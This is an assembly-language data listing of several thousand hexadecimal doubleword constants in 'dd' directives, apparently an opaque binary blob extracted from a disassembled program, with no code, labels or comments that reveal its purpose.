		dd 1B180E0h, 5200F969h,	0EA7EFA5Ah, 0AB09BEh, 4A293F2Bh
		dd 936CA528h, 334EB500h, 91DC3876h, 12B85Dh, 329E9D50h
		dd 0B86BE0E3h, 85040300h, 13974041h, 0FB7E0567h, 90BE30AEh
		dd 68BB0A9Dh, 0C7025900h, 549E8FB0h, 58EB000Dh,	7BDFA60h
		dd 1F006106h, 64C0F187h, 7AB7E74h, 0C2AAFC1Ah, 0C7B580F5h
		dd 5C02AD1Eh, 121657CFh, 0E8E213h, 0A966728Ch, 0C5D8005Ah
		dd 546994FFh, 73750291h, 0C15DA41Fh, 598EF500h,	1ED57B7Ch
		dd 0C0AA3186h, 6C5AC0F6h, 75009C50h, 0BD388FD2h, 4CA9BE63h
		dd 2208E007h, 0E78023E5h, 863BC43Dh, 1DEB00CEh,	0ACF8D476h
		dd 0D73EE872h, 0E6E1000Dh, 42598A5Dh, 8FB805h, 3A8941D1h
		dd 0A8E625Fh, 0CB447800h, 0E0ECC6D2h, 5BAC00CAh, 0BDF0C2EFh
		dd 7E007CC7h, 0DC6C51FEh, 79C59927h, 967977h, 45249701h
		dd 98E55DEh, 0CF73E405h, 8C807C17h, 3FD45181h, 0DF3EDB41h
		dd 880FE307h, 0C2180014h, 3E046C69h, 6F6071D5h,	16E25080h
		dd 36AF075Ah, 94856B20h, 3A309233h, 0D3000864h,	11D97A4Ch
		dd 1279BDEAh, 4813E9h, 0A06920Ch, 0BE0228DCh, 9248F35h
		dd 9A35E023h, 9A2BE299h, 15A700A4h, 0CBDEEFD3h,	749A45A9h
		dd 446C1E00h, 94A5968Fh, 6DB822h, 5840CF1Bh, 603DD752h
		dd 43B9DE07h, 97902D90h, 0CDEA91h, 0B6541F0Dh, 0D7DDC037h
		dd 0C500EB79h, 26BD3D34h, 5889BC9Ch, 2307D0C6h,	0E3B87180h
		dd 0D907A713h, 2E8E9DDFh, 1A0C4C80h, 0FFFD1FC1h, 7EA0C3F2h
		dd 65F04EE6h, 0B400963Ch, 0A39E79C0h, 1C38972Bh, 381A8595h
		dd 83860F00h, 1F188E9Fh, 9B121B16h, 0EE3FE440h,	0B721ABh
		dd 2DA92266h, 0A037B8F8h, 0B4358501h, 76B2F623h, 212EF070h
		dd 26901628h, 300EEDC8h, 92A182FDh, 0C378E3FBh,	5D1011E5h
		dd 0D53CC3h, 0E44124DCh, 99B147h, 0C50B194Dh, 0D57F3E93h
		dd 5F84A600h, 74CD4A1h,	177550h, 80B93D2Ah, 0D45F593h
		dd 6C0BD5E8h, 0A9D121DBh, 807180ACh, 0A95299h, 0B9152AEDh
		dd 6CF5A336h, 0E073883Ch, 0C92EAFA8h, 0A80509EDh, 0A0A00DF9h
		dd 0CB16220h, 0C20B361Dh, 1280D2DDh, 6BEC7F82h,	278B0013h
		dd 0AD1BA910h, 360EF82Ah, 53183F4Fh, 0AA135600h, 0F725EAh
		dd 34D4C33Ah, 9CE9D706h, 20934D00h, 33D8F1C5h, 0F9833F97h
		dd 0FB1E5A5Ch, 0E42880A2h, 0E696DD0Bh, 45ED951Ch, 4755E70Fh
		dd 0A0D030F5h, 98A693F6h, 8B740048h, 0F115F351h, 0CC008AC9h
		dd 0F0B302ACh, 0DC186Fh, 0D49FDFECh, 0AA594DB1h, 0DE00E876h
		dd 785E22C1h, 6533BAh, 4F28CD0Dh, 0A931A244h, 5C05E4A8h
		dd 0FA3DE300h, 51B3DC34h, 5AB000BFh, 0EDEC9963h, 8C00BC1Eh
		dd 0EF769F3Ah, 0C30627Bh, 0A2E16A28h, 33243240h, 24BC0427h
		dd 46147FB7h, 0B61109B4h, 70306B54h, 76B77EF8h,	388586Fh
		dd 44382600h, 4AC2F548h, 7EB6A736h, 0E986EC31h,	25813C2Ch
		dd 0F0AE2D8Ah, 19DDB082h, 31BAAA8Ch, 262B0345h,	0D67F14A8h
		dd 0B40D1DAh, 0FD148107h, 4430F8h, 77B760B6h, 0E5481Bh
		dd 0AA0D3640h, 573349DEh, 28DA49h, 929ABD1Dh, 9D3506Eh
		dd 0EECF1051h, 0FBBA0F00h, 1C00B04Fh, 448F33FFh, 501621h
		dd 66B60E98h, 736F88EAh, 24AC3C2Ch, 9979B418h, 0A6BE07F5h
		dd 0C0B268B8h, 896DDCC8h, 3EEDA003h, 9088670Dh,	0A3628C6h
		dd 1B3BDF66h, 13C8B080h, 5030A192h, 3A02A1CDh, 2A8C010Ch
		dd 0A8DC4B47h, 8AA0E0E6h, 0A420CD03h, 9036062Eh, 79B37F1Ch
		dd 6A970EC0h, 0CAE0FFE2h, 438F9285h, 4CED4F00h,	3CEF9E21h
		dd 57C10059h, 0A068917Eh, 20374599h, 216C08A3h,	7E5D0361h
		dd 7C29674h, 323F26F8h,	66F9F800h, 0E0928AB0h, 15CE003Ah
		dd 0AB4C3CEAh, 5E30B82Ch, 4A0518A0h, 0EAFF8ECh,	44D558A1h
		dd 56795898h, 0CE462E00h, 0C638C15Eh, 5A08CC66h, 72988421h
		dd 0D5E2D800h, 50DDB9ACh, 1D410082h, 76BC7B69h,	0F503EDA6h
		dd 3462E233h, 0B0106C29h, 9698AD40h, 0F1319132h, 7E55304Ah
		dd 0B0689B11h, 6B809C88h, 0C8A7E53h, 1BC100FFh,	67E95C55h
		dd 63E060C7h, 0C13802E9h, 0F0B937B7h, 0FA595781h, 8077C012h
		dd 0CF19B188h, 7FB44E33h, 50583C15h, 4FBA93h, 0CB366741h
		dd 5A004555h, 77D5E64h,	7FC329D1h, 0A0900FBh, 872FBDE0h
		dd 9501A4E9h, 43D69EFFh, 2AC87299h, 36EE00D8h, 49C6A5F6h
		dd 1317B018h, 0B00C7C0h, 0C57E5009h, 0BC480006h, 0F7D51610h
		dd 94075472h, 74B48712h, 82AE9E90h, 7AD0005Dh, 76F70595h
		dd 0D4007D8Eh, 3F396011h, 59020Fh, 0A3D7F84Fh, 46F5894Ch
		dd 0B876D200h, 6760DF2Bh
		dd 293B64DAh, 0BD192463h, 1C08C429h, 84973744h,	42FEE022h
		dd 30D01190h, 0E0008B22h, 14DE845Dh, 0CEB7F6h, 60FD034Ah
		dd 0D72F507Dh, 0C1E35100h, 382332CCh, 0E6DE00B5h, 0B66E3984h
		dd 3B731E5Bh, 778C9E00h, 0E8D587EFh, 0CADA00A1h, 8F962E12h
		dd 0D7284A7Ah, 90008A26h, 485C204Dh, 0EE08283Dh, 0C82A00EBh
		dd 0E6E26E0Ch, 0FB5881CEh, 10C40018h, 2C8CD360h, 0EBD8BD1Fh
		dd 84178503h, 80FC0CF3h, 3970B3h, 44EC869h, 0BE0E43A9h
		dd 2B8838C0h, 981D76F6h, 773900DCh, 7130994Ah, 94009DC1h
		dd 0A52C4828h, 9958064h, 1803F374h, 7BCB0400h, 0F404C9D8h
		dd 4C5C23D6h, 2BEDA80h,	8DF60929h, 300B21Ch, 24376E9Eh
		dd 0F2136C04h, 1D801280h, 75179C8h, 6E96FEF0h, 3A53505Ah
		dd 0AB002A52h, 0D811450Dh, 7CF11970h, 0D1EA0Bh,	0A2B5750Fh
		dd 0C167D4B9h, 0F4BFE800h, 4C2B2627h, 53EA007Dh, 0D51BF224h
		dd 3600BC05h, 0ABE90E54h, 25E4F90h, 49886541h, 2C40702Eh
		dd 0E30F82ACh, 0EFF7AD67h, 280093DBh, 0F9978D99h, 344703F8h
		dd 931B1E98h, 0C39A3AB0h, 0B46BFCE7h, 0DC236900h, 0F4598889h
		dd 90ECC7h, 1F5CB553h, 5FAC70EAh, 2A6B6F00h, 10DA4867h
		dd 0ADB318D3h, 3D3A292Fh, 0C2770500h, 8EDAF744h, 0A018C097h
		dd 141D921Ch, 7875A900h, 3172BBC2h, 494F008Dh, 0E90D1AC0h
		dd 0F004E64h, 3E695707h, 5C93DC28h, 68001587h, 4AEFDD22h
		dd 9E1F2ACFh, 0A9C06F58h, 98280312h, 40C70023h,	0A495492Fh
		dd 44285C83h, 0B6008805h, 1DB2AB2h, 4564E3h, 92C36C63h
		dd 87D78D89h, 660B0800h, 0E0C48F37h, 4ACA004Fh,	993A3FD6h
		dd 9707ED81h, 0C54EEC64h, 0E3C22C70h, 52740006h, 210725Ah
		dd 31018FA3h, 45A843ACh, 6BFC518Eh, 0CD840914h,	1800613Ah
		dd 0BFEB57A9h, 6DAB3C00h, 0B999853Eh, 0E56E1E88h, 0AAD3874Dh
		dd 0CE69F0EBh, 0FB008E48h, 0C3DA8394h, 3B24711Ah, 0AC806031h
		dd 69BF6BF0h, 55751DCBh, 236D6E01h, 54A3212Ah, 0B1BE108Fh
		dd 18A7A8E0h, 0BEA3440h, 92AD7100h, 492CFA87h, 915907D1h
		dd 0E0C2F135h, 3394AC9Bh, 0B096E0EFh, 5FE33700h, 6B8CC318h
		dd 0E57A007Eh, 3582914Bh, 0D449BE43h, 0CE1B0060h, 0D3563AC5h
		dd 0FF930078h, 0CC6677F2h, 0B100B64Ah, 0B54C19FAh, 0CE4D37h
		dd 0E720CA2Eh, 0A434589h, 5BA0A800h, 7B606173h,	79620064h
		dd 8D25BE78h, 4A0B9D77h, 8094F472h, 2249C3E9h, 4704007Ah
		dd 17AD6EE1h, 6D051DF2h, 0ED91D014h, 6C2FB980h,	49F40E67h
		dd 9320DD0Ch, 0FF0A7175h, 0D500D17Fh, 60AD5C4Ch, 198FCCh
		dd 72D9C2BEh, 5663B29h,	6200F0B0h, 4AB5D635h, 6954B4h
		dd 7488BE30h, 706C0620h, 0C9463Fh, 1B84F218h, 502607DBh
		dd 528879h, 0F653A312h,	49F9D99Ah, 8B6B2D00h, 5EA6174Eh
		dd 8C9A03h, 2496CC1Dh, 768A83E3h, 0BA731301h, 6894188Bh
		dd 1C80BC20h, 0C0225E89h, 921A9BADh, 3A30E674h,	0A52F598Eh
		dd 5DF7008Dh, 0AA35B323h, 0F3141D3Dh, 0A2AC334Fh, 64C08E02h
		dd 0B8D0C520h, 3E5532h,	0C64B0131h, 0D9FEFB58h,	335929C1h
		dd 0C820B0CCh, 2C2501E0h, 50A8C4E2h, 767BD4F7h,	0E50E73B0h
		dd 0E099D418h, 8E1C5F70h, 0C8F41DEFh, 7935001Dh, 0F275BC72h
		dd 0E2E2C098h, 803B5624h, 0BF3AD500h, 3E35E542h, 90004127h
		dd 94A1EC47h, 0FA24F92Fh, 0C6032CD7h, 90A206F0h, 32B8CC9h
		dd 0A8B9BA38h, 9F91427Dh, 0B460DA3Dh, 0D4ADCB6h, 0B4203EB1h
		dd 1FC10029h, 247B5D4h,	8300E12Dh, 808EA245h, 0C2CAE335h
		dd 14EC461h, 0EC615A61h, 1A00DE08h, 6D92C0CEh, 140A95Ch
		dd 5DF5E03Bh, 0B9E8C93Fh, 699E01C8h, 1891A481h,	67C0D431h
		dd 12580034h, 0F98D8424h, 40A99D1h, 8255B7A1h, 1215BF0Eh
		dd 56FBC800h, 2F74212h,	0A5B8ED27h, 5BE03B14h, 661C15BEh
		dd 0ACF05A1h, 80926038h, 3BC9710h, 0E4C14AE6h, 4DC05A98h
		dd 8503707Ch, 9ADF8376h, 43B2A0B0h, 9D300051h, 0A9C4CF5Ch
		dd 0B600E17Fh, 475E336Eh, 48BE11DDh, 34005075h,	1DB37E06h
		dd 2EE48A3Eh, 0FEEF1316h, 20144032h, 2FDB78E3h,	0CFA81F00h
		dd 37F9FC5Ah, 99D0019Bh, 241E7A60h, 88D43027h, 61EE0137h
		dd 339E0A20h, 9B71289h,	0CE004341h, 60103866h, 451D75A3h
		dd 78D200A0h, 1E89CA0Ch, 9316E500h, 4D8BC7BCh, 0B654007Ah
		dd 0A0CF9647h, 0E600843Bh, 33ED18CAh, 0FEBD245h, 1191FB1Ch
		dd 0F3DD8260h, 27003474h, 0A204BF6Dh, 12FA95D0h, 45F990h
		dd 0BD431E0Dh, 0F600976Ch, 3B13ED2Ch, 4C94226Ah, 101DA2D2h
		dd 0D6EA8005h, 9B2520D4h, 4218DB70h, 0C6D84B19h, 4FD70068h
		dd 157D56EAh, 1E00C03Dh, 0AA65C2A4h, 50974Ah, 98191B7Bh
		dd 57A8D063h, 1F62D600h, 24BFC647h, 0D7F51238h,	4AD40F59h
		dd 1F2654Eh, 0CBE8EEECh, 1690C01Bh, 0D376300h, 0BBD0B2B8h
		dd 0FDDF0585h, 0FBF23Eh, 0EA777CA4h, 4500170Dh,	93FA1D6Ah
		dd 8C0B51h, 69D7B0Fh, 14CE83B1h, 58E37907h, 78201318h
		dd 369F27Eh, 0D568C2E5h, 7FC0974Eh, 0D8013398h,	9C37BA99h
		dd 830D06Fh, 0BB361276h, 0C3640206h, 584011EAh,	730722F9h
		dd 0D3CED9E8h, 3CDF9C90h, 0B55C0FBCh, 5AA3E0ECh, 2D88C46Eh
		dd 7414AA2Fh, 7B4284Fh,	0DB3B8EB5h, 481820FBh, 521205h
		dd 0B7B4FEAAh, 0A52EECD1h, 0C4348h, 0BBA38B94h,	1A8C37Eh
		dd 0F7FEA1FCh, 701B1755h, 0BF00C884h, 0C5A02A3Bh, 90B1EAA6h
		dd 5F670048h, 0B3360439h, 6EFC5915h, 508F322Ch,	10F07D89h
		dd 811F7B70h, 0AD2EE858h, 8BC6CCEFh, 648D060h, 31BDFFh
		dd 77DE393Dh, 0BF723F2Ah, 11A44100h, 0EE8CA946h, 0ECA20493h
		dd 0C00324EFh, 44E79498h, 6803100h, 0CC89260Ah,	6EEF0658h
		dd 0F848796Bh, 374E6601h, 0DDB60A2Fh, 5262B30h,	5B6287FFh
		dd 0EBC0FB8Ah, 1639FBDBh, 0BC3042F8h, 3F5C75AFh, 0C49F03FEh
		dd 0F8375598h, 0F42A9DB4h, 20D44885h, 0EAC90E04h, 0B58CD0A9h
		dd 99C00286h, 0D7307F9Dh, 6FC10644h, 0C049E4BDh, 1ED4B158h
		dd 0C257B2B0h, 0DF522C00h, 98D7BC5Ch, 34050F54h, 15453790h
		dd 1DF207DBh, 71ADE0E6h, 93006788h, 0ABAC05FAh,	2E096Ah
		dd 0FBA63FD2h, 0C37F7932h, 0F24A8E04h, 0C8C0F4D9h, 716A7A2h
		dd 0B59C9A46h, 0C08E05B2h, 693F7009h, 58286C00h, 59B32E14h
		dd 75FD0018h, 48687C1Fh, 99005691h, 5CA5EE41h, 2EE57961h
		dd 75F1602h, 0C050C9F1h, 6839C6B7h, 565D200h, 74F2AEA9h
		dd 34B829h, 4135F198h, 71C179BBh, 0A4314739h, 0DF038040h
		dd 8801DB75h, 27E2BEh, 4CA1AB34h, 1AD7FF6Ch, 93AC6200h
		dd 22994B7Ch, 443A0074h, 0CDF02EA8h, 0C60279E7h, 5767E02Ah
		dd 0A028C80Eh, 779F7369h, 954A0966h, 3C18A27Ch,	188064BBh
		dd 0ED6F0032h, 0AED32D36h, 5100E347h, 6DD46CCEh, 0F79D7Fh
		dd 0CFBA34DCh, 0FC791D56h, 0C4001477h, 0BD46D162h, 0BFC0E0h
		dd 0AF222EB0h, 8BB3095Ah, 7182A000h, 0CB234BDAh, 9A0B00E6h
		dd 0EE5E0E9Bh, 89E05B35h, 82D34201h, 0C9609124h, 0E12530h
		dd 0EE0349A0h, 35CE95F8h, 0BE447B00h, 4CBC8B73h, 0B291FFEh
		dd 0D84580D1h, 9CB5A353h, 0CD64AE00h, 0D9308071h, 5B5500E5h
		dd 0F7E9F25Dh, 1100A205h, 9DECF5E1h, 24CF8Dh, 0AD675728h
		dd 8338BC2Dh, 10BB1E06h, 7598963h, 31F25B9Bh, 0F5272F99h
		dd 9AC2106Ch, 9F3C7B97h, 0DBB18571h, 0FDC3D117h, 1F620057h
		dd 0F87C7D5Ah, 6200F292h
		dd 0A0B3C820h, 0AC3589h, 13B02B9Dh, 15BB6158h, 6525300Eh
		dd 0A2C2E14Dh, 6E8CA5Dh, 0E0ED6397h, 5CF0A777h,	8C00A37Bh
		dd 66C9C58Fh, 1466BA5h,	6C49D822h, 615588FDh, 59E1D8ECh
		dd 0D9D78400h, 0A871B88Ch, 0E5EABEh, 8ED68AFAh,	0E46F128Bh
		dd 0CE923603h, 0E8F63148h, 13A62051h, 0BBA10Ah,	27A4E41Fh
		dd 0A70025CEh, 2DD9FD19h, 0B832B5h, 81F316DBh, 73F09BD6h
		dd 0D54438h, 0E9070582h, 26910Fh, 7D5168FDh, 86FE50D2h
		dd 7CFC1E54h, 88CB407h,	0E1200497h, 50E98384h, 2714F763h
		dd 0C00C7C6h, 7CAAD338h, 0E2EF4F09h, 5FC0606Ch,	390898F8h
		dd 1400991Dh, 0CCDD5AA6h, 8600282Bh, 4E56B7D7h,	3A4DBAC0h
		dd 8400A13Eh, 0AE017149h, 0DF005AFFh, 9F4BCEDAh, 0AF5865h
		dd 3EF496F1h, 0AE32EE1Eh, 4D00457Bh, 80B2F5E7h,	3F5781F2h
		dd 49819751h, 0FAF0E383h, 1E4FC17h, 67568C03h, 9341AFB6h
		dd 259800FCh, 0E6294540h, 0CE60C133h, 3D885A60h, 105F587Fh
		dd 8387A005h, 0D10180A4h, 99009341h, 0C1686AF5h, 7533561Bh
		dd 25BA3D0Eh, 97A81200h, 0F2F77A57h, 628C661Dh,	5CDA7D80h
		dd 7C53128h, 4952DE18h,	696310DDh, 0B700E484h, 0B134215Bh
		dd 4AE1Eh, 0EC06E2E5h, 44BA9177h, 478D9701h, 0DD1D3050h
		dd 0CD71ECh, 8A39E17Ch,	3CA0FAFDh, 0AA172901h, 528E336Fh
		dd 1AFEF8h, 786AFF28h, 0DEBAFCBh, 110B13Fh, 313A5CF2h
		dd 0A0645AF3h, 94148480h, 8CF9FAh, 0EDA6DA74h, 59E8F87Ah
		dd 14117C8Ah, 0EC70EF1h, 1C8DA0FAh, 391769h, 3698119Ah
		dd 0CF7BE378h, 0F20F7D02h, 89B87573h, 0ED4C82A4h, 34563BEh
		dd 1C1A2B10h, 9A9261C5h, 5003058h, 5407A404h, 32D53609h
		dd 0C0781C8Fh, 0A92C78E4h, 631F1457h, 0B0DD4040h, 0B6354Fh
		dd 93A261C3h, 0B995D903h, 1B24C600h, 78FB964Eh,	3E3B009Bh
		dd 27CF56ECh, 0C0048937h, 4E12CA94h, 20F40884h,	0B7E10051h
		dd 4DE827A5h, 0A900F83Fh, 40B0C6E0h, 3F4ECBD4h,	31E4C7Dh
		dd 20920234h, 805891CCh, 0B036171Dh, 0F7F4C00h,	47A6B7h
		dd 0BCFFBA1Fh, 0E8048B3Ah, 9BA2B400h, 0CFEA9007h, 5A53009Dh
		dd 199D781h, 651C4B58h,	88C420C3h, 0AC91EFD4h, 0E039D153h
		dd 904EC801h, 109186E5h, 17164A73h, 45DED7h, 0F10B8D38h
		dd 0DC9E7FA8h, 8FA25900h, 126F19C8h, 0C17163DCh, 83E0447Ch
		dd 0A7ED0361h, 97F480DEh, 62000BBh, 8DC16A4Dh, 30026EE2h
		dd 0CF79A243h, 0E4574BEh, 4C0D906h, 0F6E016ADh,	74666A1Fh
		dd 45777885h, 0A3EDA440h, 3D680D9Fh, 55803F22h,	6B563972h
		dd 7B00374Dh, 10DA4EEFh, 3EFD1753h, 780A66Dh, 42892CBh
		dd 4100ED52h, 0D95F72AEh, 9A67F6h, 81CF0173h, 17C0F722h
		dd 56C18327h, 957E00BCh, 5E8F51D4h, 0FB5F8A00h,	1F9BFE29h
		dd 1AB23E0Ah, 56B469Ch,	1E3513A4h, 0A34903D0h, 9C9088F5h
		dd 3703447Eh, 0DAC591D4h, 0CB98020h, 41A70051h,	43464A21h
		dd 6000AC6Eh, 0B79091DEh, 0F4F185h, 9C954930h, 0D64CD48Bh
		dd 8ABEA8A0h, 0E9732217h, 6B3D7400h, 6ADA24h, 0DC2FB5B1h
		dd 8FBE3310h, 989CB700h, 49D2F2A4h, 0A12200D4h,	8C9E15B9h
		dd 0CD7BF6E6h, 0DBCA7701h, 5A5263DEh, 6A78C4h, 5CAF3543h
		dd 0BB315590h, 2A5E13Fh, 6B18F3B6h, 26BC5AE7h, 805C2926h
		dd 80D2F6ECh, 0BD005F12h, 0E937DC3Ch, 0E8DA96FFh, 0C0F370A7h
		dd 7719B11h, 5BB06706h,	0E7F8CD4Bh, 5E1CEA03h, 0E000DFB9h
		dd 0DC85399Fh, 7601830Dh, 38901F4h, 694BE492h, 1BCC3C22h
		dd 0C8B8042Eh, 2437E8h,	104B0B31h, 0AAAF677Dh, 0E1276A03h
		dd 0B0929BDFh, 4C9C15B5h, 610092C3h, 9D4AF764h,	9100D046h
		dd 5086DFE6h, 0A9BC79h,	0F57A305h, 17C48EC3h, 0BF6B0D00h
		dd 0F34F8C6Eh, 0FA913C90h, 0AA2B0A84h, 1BB8020h, 2F0324D2h
		dd 0C01F71ECh, 8FCCB862h, 78A4004Dh, 5805F0D1h,	6127AEF8h
		dd 25D800DDh, 23EB5DEh,	0D5D02BDFh, 80687074h, 0A900FBC4h
		dd 9B1539A4h, 0A5EF6Ah,	0F5010280h, 745F38Ch, 0BF689500h
		dd 5D115CFh, 94677B9Ah,	0C7BC00C8h, 932663FFh, 0A1628302h
		dd 609A0C5Dh, 0FA8A44h,	0D44785E3h, 89E76528h, 8C4BC426h
		dd 7B524683h, 941FD8C2h, 0DAEC00D1h, 0B01BFF76h, 8B7969A6h
		dd 0A724E607h, 0D3905B68h, 0E27406Fh, 0B3226E35h, 0F5C9B800h
		dd 12509B74h, 6777992h,	50D6F800h, 3A33754Ah, 55F00058h
		dd 0BA9BB3BCh, 0DA00BF35h, 0F31A7D17h, 8CA78Eh,	4E249E77h
		dd 2D3E11F4h, 0DB20CC00h, 0B1613429h, 8967000Ch, 0DC6D6B8h
		dd 96007ADDh, 15E25C84h, 0EF42A7E1h, 0BC284430h, 0E057003Ch
		dd 0DB78FEFFh, 0A7F6C700h, 3CC9322Eh, 0F8B2004Ch, 0D1568590h
		dd 9479CDFCh, 0BA6E0F00h, 0EE5D58Fh, 93B909DCh,	64AFF19Fh
		dd 0FE0D51A0h, 0F937D843h, 3BB2E6FFh, 0D7706098h, 90CB0005h
		dd 7A762DBAh, 7900D24Dh, 0D856C8B4h, 9E14E8Ch, 0A9CC0946h
		dd 30733380h, 0F80019D7h, 65D65FB9h, 2C2C211Ah,	4098E6h
		dd 252F0867h, 0B8BE38F6h, 30728703h, 57A8A0CBh,	99E3615Bh
		dd 24D0505Fh, 3E22D20h,	0D2F0C0Fh, 6F026FCh, 0F005F018h
		dd 2D2A1CEEh, 5D579C7Ah, 807D9E91h, 8768EF8Dh, 0D603FEF5h
		dd 0CBF1B447h, 0D438031Dh, 51140396h, 0F974FCC0h, 0E888CF1Ch
		dd 7FB502C1h, 18BFDD87h, 789C9003h, 5880EC57h, 53AC43Bh
		dd 8D3D00FFh, 1D9E71F9h, 7308BA74h, 811A01F7h, 0D9C5305Ah
		dd 5FC7D064h, 0CF648A50h, 0A9B6D100h, 0D31F56D5h, 0CA7D012Eh
		dd 0CD3D5CE8h, 0D85AFC4Ah, 1EDD5048h, 95000F83h, 20FB1A7Eh
		dd 9D6B02ABh, 1630B718h, 60723261h, 0B1F0F2AFh,	0D70E93FEh
		dd 56E49Eh, 11D82A47h, 0B8A900B0h, 9120B9D2h, 0AD034108h
		dd 1FC7D150h, 1DC9C090h, 2CA60354h, 0D33DE7EDh,	64CFA800h
		dd 81347CA1h, 603B001Bh, 0CE044977h, 213EA253h,	31150039h
		dd 797F5ED0h, 0CD1B02E9h, 1CC83BC6h, 753FA5E0h,	2907403h
		dd 0AE767CDAh, 0E98B0734h, 30805CE3h, 0F495D367h, 462DF10Eh
		dd 0C99F60D7h, 42AE2Bh,	0EE7CAF4Ch, 4703199Bh, 81730400h
		dd 86DB877Ah, 0ED8D00EAh, 69079D59h, 0EC766E7Eh, 26796F0Fh
		dd 0EA1227BBh, 87DF20A0h, 0E47F0086h, 0B4FF022Bh, 28006B58h
		dd 0E96D0111h, 0CF6EE5h, 2FAE6745h, 97B55385h, 7A16D412h
		dd 0F8B35101h, 0CB43D004h, 366EA0E5h, 62E71486h, 5E28F876h
		dd 7D8A0064h, 995ABA50h, 93EA9758h, 256DA303h, 0AA890887h
		dd 0B9F8E070h, 392C0101h, 0EEDECE13h, 7F58384Eh, 30437600h
		dd 155DA2AEh, 1625E66h,	0C07E7F00h, 0CA09E88Ah,	0F53AEA7Dh
		dd 8973070h, 1F77CF67h,	42C01061h, 266B51ACh, 900CF4D0h
		dd 49FA1E9Dh, 2A7400E7h, 0DCBCC60Fh, 7B3B7EA5h,	0D72C8452h
		dd 0A0D0DF27h, 18C0B25Bh, 3940464Ch, 0DB25EED9h, 425800F9h
		dd 0EB5130h, 67FA1A48h,	40415FF6h, 8CDDFE3Ah, 3987C4F7h
		dd 0E91C005Dh, 68F0BA6Dh, 3D004E6Ah, 0ECB81BE6h, 171FA2h
		dd 3BD6094Ah, 3F2DC63Ah, 0FB48AA74h, 94780035h,	0BEE61D1Fh
		dd 137B00Eh, 654C9D87h,	2FC33641h, 50388300h, 1FBFA217h
		dd 0C7AF1FA9h, 0BA20A0B3h, 383900E4h, 0E42E121Ch, 130E5F01h
		dd 5601EEDFh, 4015B851h, 13D0870h, 0C02AB4BBh, 94CA1EF7h
		dd 0DC79E9h, 159F3EEDh,	1FEF8110h, 47490195h, 0C9CB471Bh
		dd 5B0901F6h, 0DC4A01Fh, 896104h, 95C76867h, 3344BC77h
		dd 0E160140Fh, 4BD240F2h
		dd 265B51D5h, 2654798Fh, 169831EDh, 0A06717F6h,	9E4338F0h
		dd 99713C2h, 7FAC43C8h,	0D8006C59h, 943E028Ch, 0A8D42BDh
		dd 6D77242Ah, 67A6BCh, 3F2517FAh, 2300BEC1h, 0D759728Ah
		dd 0EAF9A8F0h, 0C32D00D8h, 9B399446h, 14001905h, 71E4F52Ah
		dd 7C74F4E5h, 9234F0B6h, 3DFB024h, 548ACADCh, 697ABE5Dh
		dd 0E589C300h, 669F6123h, 0AC1F4D1Bh, 873AC40Bh, 59188020h
		dd 0A200E36Eh, 92F9EAEDh, 1AC9F2h, 374AC53Eh, 0D72F7467h
		dd 0B2003170h, 0F5DD5FB1h, 7E6DEEEh, 0B5DA3D12h, 0F11B5083h
		dd 5516E980h, 0E04114CCh, 58A0DD56h, 3ED10EECh,	0FD868099h
		dd 100D94DEh, 0DD55A305h, 91C7EE51h, 1A393A60h,	0B64F0086h
		dd 67D3036Eh, 7C1E80ABh, 0EC00D631h, 0D55EFEADh, 102B0271h
		dd 0DE1C91A1h, 0E70388D1h, 721EFC40h, 8128B4E8h, 4B81EB26h
		dd 0DEDDF036h, 0C23F997Eh, 63AB841Ah, 80BB56EAh, 2EFC393Fh
		dd 58968F00h, 4F6A119Bh, 95B0312h, 0EE6399FBh, 4B7AB3A0h
		dd 9D7FD800h, 0F3E1BA06h, 1B4307F6h, 2062C4B2h,	0D8128E25h
		dd 56A3EF00h, 5E42746Eh, 0D2870F5Bh, 7060C74Dh,	0D6039175h
		dd 83B47F0Fh, 2326CB35h, 821B0450h, 8C3260EBh, 9D810033h
		dd 7B73CCF8h, 2B006BD6h, 0A81D5C20h, 3C2745A0h,	253D23D5h
		dd 0B9224380h, 549A3DB5h, 0FABDA512h, 3F3C0400h, 0C09020E3h
		dd 9FC89211h, 0A63A6457h, 0BE08829Ah, 404E280Bh, 7C29B3ACh
		dd 0CF5A0088h, 4F4745EBh, 9F077770h, 3C378503h,	5BC08230h
		dd 0EAD10598h, 0E0FACF58h, 754D2504h, 93E83CBCh, 8406FBFh
		dd 5B85020Ah, 0E362254Ch, 58F1C880h, 0CC0028DDh, 0B98D3741h
		dd 226F31h, 0AF6D4DC0h,	1280D361h, 48368700h, 0D4865AD5h
		dd 73771E9Ah, 6825C0FBh, 19966379h, 0D0F7EEFEh,	910027D9h
		dd 9CC13DB8h, 38401E92h, 600CA48h, 19543063h, 283A94F7h
		dd 271C7567h, 0D10061BCh, 95E07396h, 50D9002Dh,	0BB1CA0Fh
		dd 0D6035647h, 2093B399h, 0F248C8E2h, 485890FDh, 0DD0FC497h
		dd 230110A1h, 50C99AB3h, 22E521D4h, 3069C00h, 4E955B01h
		dd 55BA003Eh, 0F82B04B7h, 0BD035F8Ah, 0EB8518D5h, 7A56E268h
		dd 5D7B54h, 2ACC935Ah, 73D25801h, 0EC6A3D2Ch, 0D4DD8A03h
		dd 7AE8E0D1h, 601E3DA6h, 0C2A72F80h, 2C53EFADh,	0F76A9E00h
		dd 0ACA9987Dh, 8FA40h, 5C887BDEh, 81DF3011h, 9AD70C00h
		dd 0A6862187h, 756717Eh, 75E8DA09h, 0FC127207h,	850F1240h
		dd 8DD71F00h, 6BC60B06h, 2C940EA1h, 414ED9BCh, 0EBBD007Ch
		dd 800840ABh, 802FF63Fh, 890B3CC6h, 787ECF62h, 424097E9h
		dd 72EAB0DBh, 0DCF07FECh, 8CEF9D00h, 0A2A0084Bh, 0B56700E5h
		dd 0C5934633h, 0C803501Ah, 0CBC46EA4h, 59B8F82Fh, 5CB8E8h
		dd 1436E68Ah, 8C7252DAh, 773CBD12h, 0F300A053h,	0DB843985h
		dd 19780016h, 81A08B5Eh, 251F0F72h, 0ED810506h,	16FC7D52h
		dd 0E400AC31h, 0EF13ACh, 65942F80h, 0E525AE02h,	891B093Ch
		dd 49895678h, 0E3C85110h, 3D9B00CBh, 0CA306A84h, 5725AB87h
		dd 5D8C205Ah, 0F698D053h, 96F81D14h, 2621DD3h, 1A1DF1E1h
		dd 299ED401h, 0CB164C29h, 0F9750783h, 97B147D3h, 48FC80EEh
		dd 0E1005EFAh, 419E6A76h, 7E868CBh, 70CDF1C1h, 0C80A902Ch
		dd 600302B6h, 5114E394h, 1F01A05Dh, 1E69CE16h, 406506C7h
		dd 3D80A3B7h, 1350F1E8h, 50A79444h, 59A04110h, 0D70ECA07h
